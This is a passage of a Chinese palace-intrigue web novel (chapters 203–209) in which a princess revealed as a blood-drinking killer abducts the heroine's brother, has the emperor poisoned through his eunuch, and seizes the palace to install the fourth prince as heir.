这边走出储秀宫的皇帝接过福清递过来的手帕擦了擦手,然后把手帕递给福清,冷声吩咐,“让暗卫盯紧康舒和楚浩泽,朕倒是要看看,朕这个爱妃和儿子究竟只是小鬼还是鬼王。”
若是鬼王,那他到时要瞧瞧这个德妃在宫外究竟给她儿子培养了多少势力,若只是小鬼的话,那他就更要看看,那个鬼王究竟是何方神圣了,竟然连他后宫的妃嫔都能拿捏了。
福清低声应了声是,然后扶着皇帝上了龙辇。
走了几步后,福清才回眸看向储秀宫的牌匾。
停驻了片刻后,福清轻轻摇头,陛下自从登基之后,就不在意后宫之事,谁若是让他开心,他便宠着谁几分,谁若没有存在感,他便也不在意。
他是个明君,更多的心思都是放在前朝,所以这些后妃在后宫的小动作,只要无伤大雅闹到前朝来,他多半都不会理会的。
如今陛下既然盯上了康贵人,想必康贵人母子在这皇宫也活不长了。
康贵人难道真的以为她收到那封迷信是神不知鬼不觉地送到她宫中的?
皇帝这边刚走不久,储秀宫中的宫女就往御厨房走了一趟。
皇帝接到消息后,嘴角微微一勾,眼神冷漠地把手中的奏折往桌案上一丢,“看来朕的悲悯之心,并没有让他们悔改。”
第204章 这位小姐您没事儿吧
福清被皇帝的动作吓了一跳,陛下上一次露出这种神色还是得知一向支持他的靖王有了异心。
当年靖王给陛下那杯毒酒被陛下亲自换掉,然后让靖王自己饮了下去的场景如今福清都还历历在目。
那是陛下登基之后,第一次动怒,也是第一次亲手杀了自己的手足。
福清想到当**情忽然眼神一凝,他慢慢的侧首看着皇帝阴沉的神色,当年那件事情之后没多久...
福清心头一跳,不会吧...
难道靖王**还有余孽?
皇帝侧首看了一眼平日早就在这个时候有眼色的给自己上茶顺气的福清,蹙眉,“福清?”
福清连忙放下心头的疑惑转身去给皇帝斟茶,温度适宜的茶放入皇帝的手中后,他连忙走到皇帝身后给皇帝拍背顺气,低声道:“康贵人的一举一动都是在陛下您的意料之中,接下来陛下只用等鱼儿上钩即可。”
皇帝端着茶杯的手指微顿,他回眸看了福清一眼,把茶杯放在桌上,沉声问:“你刚刚在想什么?”
福清一愣,接着跪在地上叹服道:“奴才是什么都瞒不过陛下您呀。”
“少贫。”皇帝睨了一眼跪在地上的福清,“你也有事瞒着朕?”
福清连忙叫冤,“奴才哪儿敢,只是奴才不知道奴才方才所想,是不是天马行空的想法。”
皇帝蹙眉,“你说说看。”
......
深夜。
冀州邢城某客栈。
姜黎婳在梦中忽然惊醒,她睁开眼睛瞧着坐在自己床边的男人,她下意识的要尖叫,但是闻到那股熟悉的问到,她手比声音更快地捂住了自己的嘴,好一会儿之后她让差点从嗓子眼儿挑出来心脏回到胸腔,她低声骂了楚御礼一句,“你怎么不喊醒我?”
人都差点被吓死!
她刚刚差点真的被他吓的灵魂出窍!
她垂眸看着还捏着自己手的那只骨节分明的手,眼睛一眯,“你知不知道半夜三更不出声忽然抓着熟睡之人的手,很可能把那个人的魂魄吓丢?”
她刚刚真的睡得正香,手指却忽然被人抓住,她心跳忽然加快,有一种被鬼抓住的感觉。
她收回自己的手捂着胸口坐起来。
楚御礼有些讪讪的任由姜黎婳骂自己,好一会儿之后他才有些委屈的垂眸,“我只是太想娘子了,原本想陪着娘子坐一会儿,没想到反而把娘子你吓到了。”
姜黎婳:“......”
那与其坐在床边抓着她的手,还不如躺下和她一起睡,这样至少她闻到他的味道,还能睡得更安稳一些。
“我也没有怪王爷的意思。”姜黎婳抿了抿嘴,抬眸看着楚御礼,“王爷大半夜的赶过来是还有其他事情吗?”
楚御礼看着姜黎婳,好一会儿之后才道:“我让人盯着萧景宴,你先回林中小院如何?”
姜黎婳眼神一凝,脸色也瞬间变了,楚御礼见状连忙道:“是我的错,娘子你要自己报仇,我不应该阻拦。”
姜黎婳的脸色缓和了一些,这才没有说话,她靠在楚御礼的肩膀上,低声道:“王爷,特意跑着一趟,应该还有事情对吧?”
楚御礼深深地看着姜黎婳,好一会儿之后他抓着她的手,放在自己的胸口,低声道:“我总有一种不祥的预感,感觉把你一个人放在外面,我会后悔。”
姜黎婳眉头微蹙,这还是没有安全感?
他们两个人在一起最大的威胁就是萧景宴和萧景宴背后那个幕后之人了,若把这两个人抓住,那他们将来一定会顺风顺水的,他还有什么好担心的?
“王爷,你是不是做噩梦了?”姜黎婳蹙眉,“昨天晚上做的噩梦?”
楚御礼:“......”
他只是感觉这件事情结束之后,他很可能更要抓不住这个心都不完全在自己这里的娘子了。
他害怕她会在这件事情结束之后立刻离他而去。
想到这里楚御礼伸手把姜黎婳揽入怀中,低声问,“娘子,你会一直陪在我身边的是吧?”
姜黎婳忽然被他搂在怀中,她有一瞬间的怔愣,接着感受到了他炽热的情感,片刻之后她伸手环住楚御礼的腰肢,“嗯,我会的。”
楚御礼闻言舒了口气,好一会儿之后他才松开姜黎婳,低声道:“娘子,我有件事情要和你商量。”
“什么事?”
楚御礼看着姜黎婳,“佳宁公主好像盯上舅兄了。”
姜黎婳有些不理解楚御礼这个盯上是
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什么意思,她疑惑地抬眸看着楚御礼,眉头微蹙,“什么叫盯上我兄长了?”
楚御礼把白日里发生的事情给姜黎婳说了一遍,姜黎婳听了之后眉头微蹙,她认真地回想了一下书中的内容,然后猛地坐直身子,“遭了!那她一定是看上我哥的美色了!”
楚御礼眉头微蹙,“她不是为了找出你的下落才盯上舅兄的?”
“你忘了之前我们在她那宅子里面抓住的那些年轻美男子了?”姜黎婳紧紧地皱了起来,都是她的疏忽,当时没有在意那些被找到的小倌儿!
书中当时写了一些关于那个幕后之人的爱好,虽然当时没有写是男是女,但是写了那人酷爱年轻美男子,府院之中养了不少貌美的年轻男子,供对方享乐。
当时她以为那个幕后之人有特殊癖好,现在想来,若那个人公主的话,养些美男子,应该正常的...
只是,她竟然还盯上了她哥?
“你明日回京一定要让我哥好好藏着,千万不要出现在那个女人面前!”她可不想自己的亲哥被大魔头给玷污了啊!
她想到书中描写原主曾看到萧景宴身上的鞭痕之后差点被萧景宴活生生的用鞭子抽死,她就忍不住打了一个寒颤,那萧景宴应该也是她享乐中的一个人吧?
她哥若落在她那有特殊癖好的人手中,怕是会被气死吧?
楚御礼眉头微蹙,他深深地看着姜黎婳,“她应该不至于大街之上强抢美男吧?”
姜黎婳:“.......”
说不定她就敢呢?
翌日。
北城,上官府外。
被上官清泉骂出来找自己妹妹的姜斯羽刚走出巷子就与一个容貌绝色的女子撞在了一起,他下意识的伸手想要扶住对方,但是想到男女授受不亲,就赶紧收回了手,容貌角色的女人就这么眼睁睁地看着他收回手,自己跌坐在了地上。
女子垂下的眼眸中闪过一丝狠厉,再次抬眸,她眼底的狠厉散去,取而代之的是与人相撞之后的惶恐,和被人撞倒在地上的楚楚可怜。
姜斯羽见对方一副泫然欲泣的模样,上前扶也不是,不扶也不是,一时之间有些拿不定主意地站在那里,低声问,“这位小姐,您没事儿吧?”
第205章 楚御礼登公主府
容貌绝色的女子瞧姜斯羽如此没有风度地站在那里,她眉头下意识的皱了皱,不过片刻她紧皱起来的眉头展开,脸上露出痛苦之色,一副我见犹怜的模样对姜斯羽低声道:“我的脚好像扭伤了,公子是否能将我扶起来?”
姜斯羽下意识地想说男女授受不亲,但是瞧对方没有带婢女出门,自己也因为晏殊在与父亲找妹妹而孤身一人...
他垂眸犹豫了片刻,然后朝对方拱手,“如此就得罪了。”
他抬步上前伸手扶起对方。
女子被他扶着手臂站起来,脚下一个踉跄跌入他的怀中,姜斯羽胸口被撞了一下,接着闻到一股淡淡的花香,他瞬间面红耳赤地推开对方,“小姐请自重!”
女子被他这么一推差点又摔倒,往后退了几步,好不容易才站稳脚步,姜斯羽见状又想上前稳住对方,但是她在这时候有些委屈的看着他,“公子为何要这样对小女子?明明是公子撞了小女子,害小女子受了伤,怎么说得像是小女子在大街上对公子投怀送抱一般?”
姜斯羽一怔,他刚刚与这个女子相撞的时候的确是有些心不在焉没有看路,这事儿也的确是自己理亏。
瞧着对方委屈的模样,加之如今自己有心事,也不想与对方辩驳,他便拱手朝对方拘礼,“方才是在下失礼了,这位小姐的脚受伤了,不如在下送你去医馆如何?”
女子闻言面色这才缓和了一些,她轻轻摇头,“我也不是那种蛮不讲理的人,我的脚只是扭伤了,养个几日就好了,倒也不必去医馆了,公子直接送我回家吧。”
“这不好吧...”姜斯羽眉头微蹙,“在下请...”
“公子这是怕被小女子讹上吗?”女子闻言抿了抿嘴,“既然公子是这么样想的,那今日之事就算我倒霉好了。”
她说罢拖着自己扭伤的脚一瘸一拐地慢慢往前走。
姜斯羽站在原地思索了片刻,有些无奈地叹了口气,朝着女子追了上去,“小姐家住何处?在下送您回去。”
女子闻言嘴角微微一勾,“就在前面不远的巷子,有劳公子了。”
......
楚御礼天还没亮就被姜黎婳从冀州赶回来了,但是从冀州赶回京城即便是快马加鞭也得半日的时间,等他去上官府找姜斯羽的时候被告知姜斯羽回去跟着找姜黎婳的下落了,楚御礼又带着人去了姜家。
姜家的人全都出门去找姜黎婳了。
等在城外找到姜家人的时候已经快傍晚了,听说姜斯羽没有回来,楚御礼心头一沉,晚了?
想到姜黎婳说的话,楚御礼来不及过多的思考策马就朝佳宁公主府赶去,赶到佳宁公主府的时候,天色已经黑了。
已经撕去伪装的楚蕙兰听到楚御礼登门拜访,她那双漂亮的眼睛里面闪过一丝阴冷,不过须臾时间她便恢复了常色,让人去把楚御礼请进来,自己则坐在镜前让人给自己上妆。
楚御礼接待宾客的庭院中喝了两盏茶之后楚蕙兰才姗姗来迟。
楚蕙兰过来的时候身上穿着常服,及腰的长发随意用簪子固定着,看到坐在红木椅上的楚御礼,她笑着走进来,“让你久等了,你来的不是时候,过来的时候姑姑正在沐浴。”
楚御礼起身给楚蕙兰拱手,“是侄儿唐突了,只是侄儿今日出城去那吸血魔的老巢调查的时候,忽然想起姑姑就是在离那吸血魔不远处的红山上的庵堂中静修,不知姑姑是否曾见过那宅子中的人?”
已经在主位上坐下的楚蕙兰听楚御礼这么问,很认真地思考了一下,“我不爱见外人,除了庵堂中的师太几乎不见其他人,不过我倒是可以帮你去问问庵堂的主持师太。”
楚御礼闻言感激地站起来对楚蕙兰拱手,“侄儿多谢姑姑了,先前我从城南回来就看到了好多处的粥棚,侄儿代替父皇多谢姑姑对百姓的付出。”
“那些都是我力所能及的事情。”楚蕙兰抿嘴,“谁为皇室中人就需要有悲悯之心,我身为女子不能像你们一样在朝堂之上大展身手,也想为天下黎民做点事情。”
她站起来扶着楚御礼站起来,轻声道:“姑姑能做的这些事情都是小事,御儿,姑姑衷心地希望你能早日把
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事情解决了,早点把那个恶魔绳之于法。”
楚御礼垂眸与她的目光撞上,他定定地看着楚蕙兰,轻声问,“姑姑也觉得那个人是恶魔?”
“如此**不眨眼的人不是恶魔是什么?”楚蕙兰一脸的疾恶如仇,“这种人就应该被千刀万剐,那些孩子被她吸血的时候该有多痛啊!”
她说到这里眼泪从眼眶里面落了出来,她抬手拭泪,“我都不敢想象若是昭儿被那种恶魔抓去放干血,我会怎么样。”
“昭儿妹妹知道姑姑如此疼爱她,就算是在天之灵也会感到欣慰的。”楚御礼强忍着心底的恶心伸手拍了拍楚蕙兰的手,“姑姑也不必太难过了。”
楚蕙兰轻轻点了点头,不知是不是提起女儿她的心情不算太好,她松开楚御礼的手,轻声道:“御儿今日过来只是想问先前那件事情的?”
“是。”楚御礼不动声色地收回自己手,“有劳姑姑差人随侄儿走一趟,若山庵堂的师太见过那个**魔就再好不过了。”
楚蕙兰轻轻颔首,“那明日差人随你走一趟。”
“事情紧急,还请姑姑差人现在就随侄儿走一趟吧。”楚御礼眼里露出恰到好处的哀痛之色,“侄儿一日没有婳儿的消息便一日不安心,还请姑姑体谅侄儿。”
“好。”楚蕙兰说罢唤道:“来人。”
一个护卫从暗处走了出来,楚蕙兰道:“你带御王去一趟庵堂,问一下庵堂中的师太是否见过山脚那处院子的主人。”
暗卫面无表情地跪在地上应了声是,然后起身对楚御礼躬身道:“御王殿下请。”
楚御礼这才对楚蕙兰行礼告辞。
看着楚御礼离开的背影,楚蕙兰眼底闪过一丝冷光,片刻后她沉声问,“楚御礼带了尾巴过来?”
暗处的暗卫在她话音落下之际跪在了她面前,“没有,御王只带了几个侍卫过来,侍卫都在门外候着的。”
楚蕙兰闻言眉头微微一挑,嘴角勾起一抹似笑非笑的弧度,她现在还有些不懂自己这个侄儿了呢。
难道他上门就是单纯地想要自己帮忙?
第206章 皇帝**
京城某处宅子中。
姜斯羽手脚被人用绳子绑住,嘴里堵着白色的布条,黑夜中的他拼命的挣扎双目也因为太过分怒变得通红。
**自己挣扎了多久,直到自己的手腕和脚腕都被绳子磨破了,他都没有停下来。
今天他把那个女人送到这院子门外,刚转身打算离开就直接被人敲晕了,再醒来的时候,他就看到那个女人高高在上的坐在自己对面,而他被绑着双手双脚丢在地上,女人看他的眼神像是在看一条猎物。
她说:“你颇有几分姿色,我很喜欢,今天开始你就留下来伺候我吧。”
他当时想骂她脑子有病,但是却被堵住了嘴,什么都骂不出来。
接着他看到好几个赤着上身的男人为她端茶倒水,甚至为她奉上鲜血...
吱呀...
房间门被人从外面推开,漆黑的屋子被人点上烛灯,姜斯羽那张英俊的脸庞被照亮,他抬眸朝着门口看去,容貌角色的女人从由两个样貌好看的男人伺候着走了进来。
女人居高临下地看了一眼依旧一脸倔强的姜斯羽,她嘴角微微勾起,“想通了吗?要留下伺候我吗?我这个人耐心一向不好,你若再不回答我,我很可能就要强制让你留下来了。”
她说着漫不经心地在椅子上坐下摆弄着自己指甲上的丹蔻,“到时候你是断手还是断脚我就不敢保证了。”
姜斯羽瞧着容貌美得就如天上的仙女,说出的话却如同魔鬼一般的女人,他被绑着的手捏成了拳头。
现在他基本可以确认,这个女人就是楚御礼他们一直在找的那个吸血恶魔,也是害了他妹妹的凶手了!
“呜呜呜...”姜斯羽抬眸看着她,示意对方把自己嘴上的布条取了。
女人嘴角一勾,让人把他嘴里的布条取下来,姜斯羽一直被布条堵着嘴巴,颧骨早已经酸了,这时候忽然得了自由,他使劲地咬了咬牙,然后才抬眸看着女人,“是你杀了我妹妹?”
女人挑眉:“谁让他们那么爱多管闲事,我杀了她是给御王一点警告。”
姜斯羽瞧对方竟然这么肆无忌惮,他双手死死的捏在一起,嘶声道:“那你还敢让我伺候你?你就不怕我杀了你?”
“你有那个本事吗?”女人走上前伸手抬起姜斯羽的下巴,仔细打量着姜斯羽的脸颊,片刻之后她把姜斯羽的下巴甩开,“楚御礼不也想杀了我?但是最后死的是谁?是他最爱的夫人。”
她站起来居高临下地看着姜斯羽,“你若真想杀我,就试试自己有没有那个本事。”
姜斯羽听到姜黎婳死的那里,眼睛骤然变得通红,他梗着脖子抬头看着女人,“我妹妹真的**?”
“你不清楚吗?”女人轻笑,“你们这些日子一直都在找她,找到了吗?”
姜斯羽闻言挣扎着想要站起来,却把自己挣扎得更狼狈了,他躺在地上疯狂挣扎,“你这个疯子,恶魔!”
“是,我是恶魔,所以...”
噗...
利箭刺穿肉体的声音,女人垂眸看着插入自己肩膀的箭,眼底骤然变得通红,她愤怒地嘶吼,“来人!”
暗卫立刻从四面八方涌了过来,赤着上身伺候女人的两个男人也下意识地上前把她护在身后。
而这时候无数个黑衣人从四面八方涌了进来,与她的暗卫厮打在一起,很快有三个黑衣人突破重围朝着屋中进来,女人见状厉声骂道:“你们是谁?”
回答她的是朝她攻击而来的刀剑。
女人见状转身朝里屋跑去,先前赤着上身的两人连忙上来堵住三个黑衣人,黑衣人看着女人逃离的背影,并未去追,而是去帮躺在地上的姜斯羽解绑。
姜斯羽得了自由,立刻道:“这个女人就是那个**血的恶魔!快点去抓住她!”
沉鹤看了一眼激动的姜斯羽,没有理会他,只是把人敲晕然后扛着离开。
院中的厮杀还在继续,沉鹤离开之前说了句,“速战速决,兵马司的人很快就过来了。”
翌日。
朝堂上。
皇帝震怒地看着跪在地上的顺天府尹和大理寺卿还有刑部尚书三人厉声骂道:“那个恶魔都明晃晃的住进京城了,你们竟然没有抓到人!”
“若不是兵马司的人巡逻听到里面有打架的声音冲进去,你们都不知道那畜生竟然在朕的眼皮子下面来了!”
从城外匆匆赶回来的楚
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御礼这时候刚走进大殿就听到了皇帝骂人的声音,他眼皮抬了抬然后大步走了进去。
皇帝看着他沉声问,“你去哪儿了?”
“儿臣去了姑母静修的庵堂,问主持师太一些事情。”楚御礼把自己去庵堂的事情告诉了皇帝,“儿臣还真的问出了一些,庵堂的人还真的曾见过那处宅子的主人,据说是一个容貌绝色的女人。”
这时候顺天府尹崔国书连忙道:“陛下,昨夜那些死者中,有些人手臂上就是有兰花的标志。”
楚御礼闻言脸色不变,他已经听沉鹤说了,昨夜他们损失了几个暗卫。
不过能让他那目空一切的姑姑受伤,也算是有收获了。
皇帝闻言震怒,他使劲地拍了一下桌案,刚要说话一口鲜血从嘴里吐了出来,接着整个人往后倒去。
站在他身后的福清见状嘶吼了一声,朝着皇帝扑过去,“陛下!”
朝臣一下子就乱了。
楚御礼眼中闪过慌乱,连忙朝着皇帝的方向跑过去,“父皇!”
朝堂因为皇帝忽然吐血晕厥完全乱了。
后宫听到皇帝在朝堂上晕厥了过去也陷入了混乱。
皇帝被匆匆抬回了养心殿,太医也连忙赶了过去。
太医全部进了寝殿中为皇帝诊脉治病。
向来不问世事的太后也赶了过来,外殿中**了所有嫔妃和除了楚明暄之外的皇子。
楚御礼站在寝殿外看着里面情况,脸色冰冷,父皇向来喜怒不形于色,即便当年发现靖王有异心,也从未气急攻心晕过去,今天为何忽然晕厥了?
“大皇兄,朝堂上究竟发生了何事?为何父皇忽然晕了过去?”楚浩泽一脸担忧地看着寝殿内,“父皇的龙体一向康健,今日为何会...”
楚御礼蹙眉,回眸看了楚浩泽一眼,没有说话。
这时候太医院院使李太医走了出来,他神色不好,“陛下**了。”
“**?”楚御礼脸色一沉,“所有如父皇口中的东西都要经过太监试毒,父皇为何会**?”
“此毒若无情绪波动不会发作,太监即便试毒之后,也...”李太医脸色微沉,“就看陛下现在是否能醒过来了。”
第207章 立四皇子为储君
七日时间一晃而过,皇帝却依旧处于昏迷之中。
这让本就人心惶惶的朝廷陷入了更加恐慌的状态,甚至有朝臣提议立储。
这些日子每日都会过来看望皇帝的太后听闻此事觉得可行,倒是皇后有些犹豫不定。
养心殿中。
皇后往寝殿里面看了一眼,眼底闪过一抹担忧,她看向身侧的太后,低声道,“母后,陛下这毒太医不是已经解了吗?如今陛下醒来也只是时间问题,若我们此时立储等陛下醒来,不知作何感想,儿臣觉得立储之事事关重大,还是得等陛下醒了以后从长计议。”
太后听皇后这么说,眉头微微皱了起来,她侧眸深深地看了皇后一眼,沉声问:“你这么说是认真的?现在皇帝昏迷,御儿是皇帝儿子中唯一的亲王,现在立储,他就是当之无愧的储君!”
太后说到这里的时候声音停顿了片刻,又接着道:“如今朝廷需要有人主持大局,御儿又是你和皇帝的嫡长子,你难道不想御儿成为楚国以后的...”
“母后!”皇后打断太后的话,低声道:“即便儿臣希望御儿将来能成为储君,也是希望他是陛下钦定的名正言顺的储君,而不是现在这样...”
皇后垂眸,“儿臣觉得御儿也不愿意就...”
“立储一事不能再拖了!”太后厉声道。
“母后说得不错,立储一事不可再拖了!”温婉又坚定的声音在养心殿外响起,身着正红色华服的楚蕙兰从殿外大步走进来,她的目光从太后和皇后脸上扫过,最终落在内殿的龙床上,接着轻声道:“皇兄昏迷不醒,国不可一日无君,楚国是该立储困了。”
瞧着从皇帝昏迷到现在整整七日没现身,今天朝臣提出立储就忽然入宫的楚蕙兰,皇后眉头微微皱起来,语气也冷了几分,“佳宁公主,立储之事事关重大,一切等陛下醒来之后再议,朝臣那里,本宫会说清楚,你也不必担忧。”
“皇嫂错了,我并不担心,我只是想立皇储。”楚蕙兰笑着转身看着皇后,嘴角勾起一抹浅淡的弧度,“你没听明白我在说什么吗?”
皇后面上的表情一僵,眼神有着不解的看着楚蕙兰,“你这话什么意思?”
太后也坐直了身子,她目光沉沉地看着楚蕙兰,冷声道,“你想立谁为储?”
皇后听太后这么问楚蕙兰,她眼睛猛地瞪大,眼底露出不可置信的光,太后这是什么意思?
楚蕙兰想做什么?
楚蕙兰没有理会震惊的皇后,她轻笑着看向太后,眼睛发亮,“还是和母后你这样的聪明人说话最省心了,儿臣一句话,您就立刻明白了儿臣的心思。”
太后沉着脸往内殿里面看了一眼,这才看向楚蕙兰,“先帝的庶子庶女都没有一个让人省心的,你也不例外。”
“母后不是早就知道儿臣不是省心的了吗?”楚蕙兰嘴角微微一勾,迈步往太后的方向走去,走到太后面前她脚尖一转,往旁边的椅子走过去,在椅子上坐下,“否则母后当年也不会把儿臣养在膝下了。”
“别拐弯抹角了。”太后冷冷地睨了楚蕙兰一眼,沉声道:“皇帝昏迷不醒,必须有人出来主持大局,立储之事势在必行,哀家与承恩公府都属意让御儿为储君。”
太后说到这里瞪了一眼欲言又止的皇后,冷声道:“你不准有异议,你怕皇帝怀疑你和御儿有二心,等皇帝醒来,哀家自会和皇帝解释清楚,现在当务之急是稳住朝堂!”
皇后闻言不敢再多言。
楚蕙兰却笑了,她掩着唇抬眸看着太后,轻笑,“母后,立储之事的确势在必行,但储君不能是御儿。”
皇后猛地偏头看着楚蕙兰,太后的脸色也比之前更阴沉了,但是她没有发怒,只是冷冷地问楚蕙兰,“为何?”
“御儿不是被寓言说活不过二十岁吗?如今他才十九岁呢。”楚蕙兰放下掩着唇的手,垂眸拨弄着自己的丹蔻,语气幽幽,“如今皇兄昏迷不醒,若立了御儿为储君,御儿又突发疾病**了,那其他诸国要怎么对待...”
“楚蕙兰!”皇后猛地拍桌站起来,厉声道:“御儿被他们说活不过二十岁不过是冯茹英他们的阴谋罢了!现在事情已经
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查清了,御儿是被他们下毒了,而且御儿体内的毒已经解了,你少在这儿诅咒御儿!”
“皇嫂别激动,御儿如今体内的毒是解了,但是谁又能预料接下来会发生什么呢?”楚蕙兰嘴角的弧度更深了,眼底的神色却越来越冷,她睨着皇后,“毕竟如今给他冲喜的新娘都**,也没谁能挡得住他...”
“楚蕙兰。”太后打断楚蕙兰的话,她吸了口气,冷漠地问,“那你想立谁为储?”
楚蕙兰眼底闪过一丝被人打断说话的杀意,很快用笑容掩饰过去,她看向太后,轻声道,“御儿有将死寓言,楚明暄已经被皇兄亲自下旨打入宗人府不得再争储,三皇子头脑简单不适合为君,如今最适合为储君的只有四皇子了。”
皇后都要被气笑了,她看着楚蕙兰,冷声道:“德妃刚被贬为康贵人,你现在竟然想拥护她的儿子为储君?”
“有何不可?只有四皇子才最合适。”楚蕙兰笑着站起来,“皇嫂是害怕将来四皇子成了皇帝,对你这个母后不好吗?”
皇后双手死死的握着,她回眸看了一眼躺在床上的皇帝,嘶声道:“陛下只是昏迷,不是**!你现在就想要让楚浩泽登基?”
皇后气得双手发抖,她厉声吼道:“来人!把佳宁公主请出宫去!陛下没有醒过来之前不准佳宁公主再入宫!”
楚蕙兰眉梢一挑,讥诮的看着皇后。
皇后喊了几声来人,都没有声响。
太后则目光沉沉地看着楚蕙兰,没有说话,也没有歇斯底里。
她是过来人了,在一些小事面前她可以骂人,可以生气,但是在遇到大事的时候,她才要越冷静。
“你控制了皇宫?”太后语气笃定。
楚蕙兰这才拿出一块令牌在两人面前晃了晃,“真是什么都瞒不住母后呢,儿臣自然是控制了皇宫才敢进宫的呀,不只是皇宫,现在京城外还有儿臣五万大军呢。”
皇后想到两日前忽然说有了姜黎婳的消息而匆匆离京的楚御礼,她眼睛通红地看向楚蕙兰,“御儿呢?你把我的御儿怎么样了?”
第208章 佳宁公主计谋成功
楚蕙兰瞧着喜怒全都摆在脸上的皇后,她嘴角勾起一抹轻蔑的微笑,“他很聪明,也很深情,一听到自己王妃的消息,就什么都不顾的要去找自己的王妃了。”
说到这里她的眼睛笑弯成月牙,语气更轻柔了一些,“我这个当姑姑的实在是不愿意看到他们夫妇阴阳两隔,就送他们去团聚。”
皇后听到楚蕙兰这么说,脸色骤然变得狰狞,她朝着楚蕙兰扑过去,只是人还没有扑到楚蕙兰面前,一个身影就快速出现在楚蕙兰面前直接把扑过来的皇后打倒。
楚蕙兰虽然没有被皇后扑到,但是却因为让了一下扯到了肩膀,肩膀的疼痛让她脸色一沉,她眼神冰冷的看着皇后,沉声道:“我今日进宫是来让母后好好配合我的。”
她偏头看着太后,眉梢微扬,语气带着一丝嗜血的兴奋,“不过若是母后不在意儿臣给这皇宫带来一场没必要的伤亡的话,也可以不用配合儿臣。”
她说这话的时候,眼睛里面闪烁着兴奋的光芒,就像是太后现在说出拒绝的话,她就要血洗皇宫一样。
太后闭了闭眼睛,再次睁开的时候她那原本浑浊的眼睛重新变得清明,她与楚蕙兰对视,“你把那些人怎么样了?”
“能怎么样?”楚蕙兰耸了耸肩,“御林军和锦衣卫跟着御儿出城了,那是死是活儿臣现在也没有收到消息,不过想来那些御林军应该是对不了儿臣培养的士兵的,而且如今宫中剩余这些小喽啰已经被儿臣的人控制住了,若母后答应儿臣的提议,等四皇子当上太子,那儿臣就立刻让人把他们放了。”
“皇帝的后妃还有三皇子和五公主呢?”太后沉声问。
“他们有没有事,不是要取决于母后您吗?”
太后不停地拨弄手上的佛珠,好一会儿之后,她冷笑了一声,“哀家以为你这些年在庵堂静修,至少有点慈悲心,没想到你的所作所为不过是做给世人看的。”
楚蕙兰听太后这么说,脸色立刻阴沉了下去,“那又如何?”她彻底失去了耐心,“你同不同意?”
被推倒在地崴了脚一直站不起来的皇后拼命朝太后摇头,“母后...不能答应她!”
“你想死吗?”楚蕙兰冰冷的看了皇后一眼。
“你这是谋逆。”太后吸了口气,“即便是你血洗皇宫,哀家也不能让你的野心变成名正言顺,你有魄力那就杀了哀家。”
皇后松了口气,她闭了闭眼睛,接着抬眸看向楚蕙兰,冷笑,“你以为杀了本宫和御儿你就可以让四皇子登基?你就平安无事了?镇国侯府从来不是吃素的!你今**宫谋反,明日镇国侯就会带兵打进京城!你以为你和四皇子又能稳坐那个位子多久!”
楚蕙兰眼底闪过一抹暴戾,她转身弯腰一巴掌落在皇后脸上,“那你试试!”
“来人,给我...”
“公主殿下。”康贵人带着楚浩泽走进来,打断了楚蕙兰的话。
楚蕙兰目光冷冷的睨着打断自己说话的康贵人,沉声问,“本宫不是让你们在外面等着吗?你带他进来做什么?”
楚浩泽对楚蕙兰笑了笑,然后抬手给楚蕙兰行礼,“姑姑,侄儿觉得您不必动怒,他们如今的歇斯底里不过是在绝望中的挣扎罢了,如今他们不过是跳梁小丑,您何必为他们动怒呢。”
楚浩泽说完看向瞪着自己的太后,轻声道:“皇祖母,您难道忍心看着父皇的子嗣全都从世上消失吗?”
太后瞧着面色乖巧的楚浩泽,冷笑了一声,“没想到你小小年纪心机竟然这么深沉,这些年在哀家面前装乖,还真是委屈你了。”
“不委屈,只要能成为最后的赢家,孙儿再怎么样都不会觉得委屈。”楚浩泽说到这里看了皇后一眼,“大皇兄倒是任性,如今不也无缘这个位置了吗?”
皇后坐在地上看着面上带笑的楚浩泽和康贵人,声音沙哑,“本宫自认这些年从未苛待过你们母子,你们争储也应该用正当手段!为何偏偏要对御儿赶尽杀绝?”
“皇后娘娘,臣妾也不想的啊。”康贵人猛地偏头看向皇后,眼神疯狂,“可是臣妾的父亲是被御王害得死在了大殿之上!臣妾的家人如今也流放千里之外!这个仇我不报,无言面对我康家的列祖列宗!”
“那是他活该!”皇后厉声道,“康彪丧尽天良,死有余辜!”
“母后别这么
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激动。”楚浩泽轻笑着看向皇后,低声道:“你现在就这么激动,一会儿晕倒了,岂不是听不到京城外面传来皇兄的死讯了。”
楚浩泽说到这里看了一眼内殿里面站在皇帝龙床前伺候的福清,轻笑道:“只要有父皇的玉玺,写了遗诏,即便是皇祖母您反对,孙儿依旧是可以继承大统的太子。”
楚蕙兰听楚浩泽这么说,眼睛微眯,不过片刻,她嘴角勾起一抹浅浅的弧度,“不错,不愧是...本宫选中的储君。”
楚浩泽轻笑,“这还是福清公公识时务。”
皇后猛地看向福清,原本站在皇帝龙床前的父亲这时候笑着走了出来,他手中端着皇帝的玉玺,在路过皇后的时候,他脚步微微一顿,轻笑道:“皇后娘娘,识时务者为俊杰,奴才不过是一个断了根的人,如今追求的不过是荣华富贵罢了。”
楚蕙兰闻言哈哈大笑出了声,她转身看向一脸震惊的太后,又扫了一眼巴不得站起来杀了福清的皇后,嗤笑,“现在本宫不需要你们了!有玉玺和福清在,楚浩泽照样可以继承大统!”
“为什么?”皇后目赤欲裂的看着福清,嘶声吼道:“陛下最信任你,如今陛下昏迷不醒,你却背叛皇上?”
福清叹气,她看着皇后,“皇后娘娘,您以为陛下为什么会**?”
说到这里他笑看着楚蕙兰,轻声道:“这不过是奴才向四皇子和佳宁公主递上来的投名状罢了。”
“福清!”太后眼神一凝,“你...”
楚蕙兰哈哈大笑,“来人,把皇后和太后送回慈宁宫中,没有本宫的命令不准踏出宫门半步!”
她说完对太后和皇后挑眉道:“等明日立储的圣旨宣布,再过些日子皇兄驾崩,本宫就送你们与皇兄团聚!”
“楚蕙兰!”被推攘了几步的太后忽然转身看着楚蕙兰,沉声问,“为什么?你皇兄待你不薄,你为什么要害你皇兄?”
“那些事情等以后我也下地狱找你们的时候再告诉你们如何?”楚蕙兰说罢嘴角的弧度立刻消失,“送太后和皇后回宫!”
她话音落下,福清立刻把玉玺端上前递到她面前,“公主殿下。”
第209章 立楚御礼为皇储
楚蕙兰眼神兴奋的拿过玉玺,感受到手中的玉玺,她眼底闪烁着兴奋的光芒,只要有这个玉玺,她就是这天下之主!
以后她会有源源不断的新鲜血液!
那些王孙贵胄想要攀附她,牺牲掉女儿的鲜血又怎样?
想到这里她把手中的玉玺放回福清手中的托盘里,大手一挥,扬声道:“拟旨!”
翌日早朝。
大殿上。
百官看着身着华服的佳宁公主带着楚浩泽站在龙椅前面,福清手中拿着圣旨,举起来,尖声道,“这是皇上的立储诏书。”
